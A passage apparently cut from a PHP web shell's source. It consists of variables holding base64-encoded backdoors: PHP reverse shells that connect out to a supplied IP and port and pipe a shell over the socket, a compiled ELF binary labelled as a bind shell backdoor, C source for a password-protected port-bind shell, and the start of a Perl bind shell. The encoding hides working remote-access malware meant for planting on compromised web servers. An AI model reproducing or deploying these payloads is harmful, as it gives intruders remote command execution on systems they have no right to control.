X0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7IApAc29ja2V0X2Nvbm5lY3QoJHMsJGlwYWRkciwk
cG9ydCk7IEBzb2NrZXRfd3JpdGUoJHMsInNvY2tldF9jcmVhdGUiKTsgCndoaWxlKCRjPUBzb2Nr
ZXRfcmVhZCgkcywyMDQ4KSl7ICRvdXQgPSAnJzsgCmlmKHN1YnN0cigkYywwLDMpID09ICdjZCAn
KXsgY2hkaXIoc3Vic3RyKCRjLDMsLTEpKTsgfSAKZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0g
J3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgeyBicmVhazsgfQplbHNleyAkb3V0
PWttUHFUaShzdWJzdHIoJGMsMCwtMSkpOyBpZigkb3V0PT09ZmFsc2UpeyBAc29ja2V0X3dyaXRl
KCRzLCRub2Z1bmNzKTsgYnJlYWs7IH0gfQpAc29ja2V0X3dyaXRlKCRzLCRvdXQsc3RybGVuKCRv
dXQpKTsgfSBAc29ja2V0X2Nsb3NlKCRzKTsgfSAKPz4g";
$backdoor_php="PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CmluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQn
LCA1KTsKCiRpcCA9ICRhcmd2WzFdOwokcG9ydCA9ICRhcmd2WzJdOwokY2h1bmtfc2l6ZSA9IDIw
NDg7CgppZiAoISgkc29jayA9IGZzb2Nrb3BlbigkaXAsICRwb3J0KSkpIGRpZSgnW2Vycl1Db25u
ZWN0aW9uIHRvIHskaXB9OnskcG9ydH0gcmVmdXNlZCcpOwokZGVzY3JpcHRvcnNwZWMgPSBhcnJh
eSgwID0+IGFycmF5KCdwaXBlJywgJ3InKSwgMSA9PiBhcnJheSgncGlwZScsICd3JyksIDIgPT4g
YXJyYXkoJ3BpcGUnLCAndycpKTsKaWYgKCFpc19yZXNvdXJjZSgoJHByb2Nlc3MgPSBwcm9jX29w
ZW4oJy9iaW4vc2ggIC1pJywgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpKSkpIGRpZSgnW2Vycl1D
YW5cJ3Qgc3Bhd24gc2hlbGwnKTsKCnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzBdLCAwKTsK
c3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOwpzdHJlYW1fc2V0X2Jsb2NraW5nKCRw
aXBlc1syXSwgMCk7CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssIDApOwoKd2hpbGUgKCFmZW9m
KCRzb2NrKSAmJiAhZmVvZigkcGlwZXNbMV0pKSB7CgkkcmVhZF9hID0gYXJyYXkoJHNvY2ssICRw
aXBlc1sxXSwgJHBpcGVzWzJdKTsKCSRudW1fY2hhbmdlZF9zb2NrZXRzID0gc3RyZWFtX3NlbGVj
dCgkcmVhZF9hLCAkd3JpdGVfYSwgJGVycm9yX2EsIG51bGwpOwoKCWlmIChpbl9hcnJheSgkc29j
aywgJHJlYWRfYSkpIHsKCQkkaW5wdXQgPSBmcmVhZCgkc29jaywgJGNodW5rX3NpemUpOwoJCWZ3
cml0ZSgkcGlwZXNbMF0sICRpbnB1dCk7Cgl9CglpZiAoaW5fYXJyYXkoJHBpcGVzWzFdLCAkcmVh
ZF9hKSkgewoJCSRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpOwoJCWZ3cml0
ZSgkc29jaywgJGlucHV0KTsKCX0KCWlmIChpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKSB7
CgkJJGlucHV0ID0gZnJlYWQoJHBpcGVzWzJdLCAkY2h1bmtfc2l6ZSk7CgkJZndyaXRlKCRzb2Nr
LCAkaW5wdXQpOwoJfQp9CgpmY2xvc2UoJHNvY2spOwpmY2xvc2UoJHBpcGVzWzBdKTsKZmNsb3Nl
KCRwaXBlc1sxXSk7CmZjbG9zZSgkcGlwZXNbMl0pOwpwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKZGll
Owo/Pg==";
$backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
